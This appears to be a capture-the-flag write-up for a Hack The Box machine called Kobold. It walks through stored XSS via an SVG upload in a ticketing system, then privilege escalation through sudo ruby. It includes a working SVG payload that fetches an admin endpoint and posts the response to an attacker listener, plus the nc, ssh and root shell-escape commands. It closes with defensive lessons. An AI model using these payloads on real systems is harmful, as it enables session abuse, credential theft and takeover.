TL;DR

Kobold is a Linux box running a ticketing system that allows SVG uploads without sanitization. An SVG with embedded JavaScript fires when the admin views the attachment. The XSS makes an authenticated XHR request to /admin/users from the admin’s browser, exfiltrating the user list including SSH credentials. Log in via SSH, and sudo ruby escapes to root.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

22/tcp open  ssh    OpenSSH 8.2p1
25/tcp open  smtp   Postfix smtpd
80/tcp open  http   Apache httpd 2.4.41

SMTP on 25 suggests email-based ticket notifications.

2. Web application

A ticketing system at port 80 allows:

  • Creating tickets (no auth required)
  • Uploading attachments to tickets

XSS via SVG Upload

3. Craft malicious SVG

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <script type="text/javascript">
    <![CDATA[
      var xhr = new XMLHttpRequest();
      xhr.open('GET', '/admin/users', true);
      xhr.onload = function() {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'http://10.10.14.x:9090/', true);
        exfil.send(this.responseText);
      };
      xhr.send();
    ]]>
  </script>
</svg>

Start a listener:

$ nc -lvnp 9090

4. Submit ticket with SVG attachment

Create a ticket, attach the SVG, and submit. The system emails the admin, who clicks through to view the ticket.

# nc listener receives:
POST / HTTP/1.1
Host: 10.10.14.x:9090
...
{"users":[{"id":1,"username":"admin","email":"admin@kobold.htb"},
           {"id":2,"username":"sophie","ssh_password":"S0ph1e_pass!"}]}

5. SSH as sophie

$ ssh sophie@10.129.x.x
sophie@kobold:~$ cat user.txt
[user flag]

Privilege Escalation

6. sudo enumeration

sophie@kobold:~$ sudo -l
User sophie may run the following commands on kobold:
    (ALL) NOPASSWD: /usr/bin/ruby

7. Ruby shell escape

sophie@kobold:~$ sudo ruby -e 'exec "/bin/bash"'
root@kobold:~# cat /root/root.txt
[root flag]

What’s actually broken

#VulnerabilitySeverity
1SVG upload without content sanitization (stored XSS)High
2Admin credentials stored in user-accessible API endpointCritical
3XHR to /admin/users allowed from same-origin (CORS)High
4ruby in sudo rulesCritical

Lessons learned

  • SVG is code, not an image. SVG files can execute JavaScript in browser context. File upload endpoints must either: (1) strip <script> and event handlers from SVG, (2) serve SVG with Content-Disposition: attachment to prevent inline rendering, or (3) reject SVG entirely and re-encode images to safe formats like PNG.
  • Stored XSS with admin targets is high-severity. Regular XSS needs the victim to visit a crafted URL. Stored XSS in a ticket system fires automatically when any admin views the ticket — no phishing required. It’s effectively a CSRF with full JS execution.
  • Admin APIs should validate who’s calling them. Even if /admin/users requires session auth, an XSS payload runs in the admin’s browser context — same-origin allows the XHR. Backend must also check authorization per-action, not just per-session.

Decision archaeology

ApproachResultPivot
Used SVG over HTML (if allowed)SVG executes JS reliably across browsers when rendered inlineWorked on first try
Exfiltrated /admin/users data via XHRHttpOnly blocked cookie steal; /admin/users ran in admin browser contextGot SSH credentials directly
Used nc listener over burp collaboratorSimpler setup for HTB environmentReliable data capture
Tried direct document.cookie XSS exfil firstnc listener received POST with empty Cookie: header — HttpOnly flag blocked document.cookie; exfil payload captured zero-byte bodySwitched to authenticated XHR: SVG script makes GET /admin/users with admin session cookie attached automatically; response exfiltrated successfully

References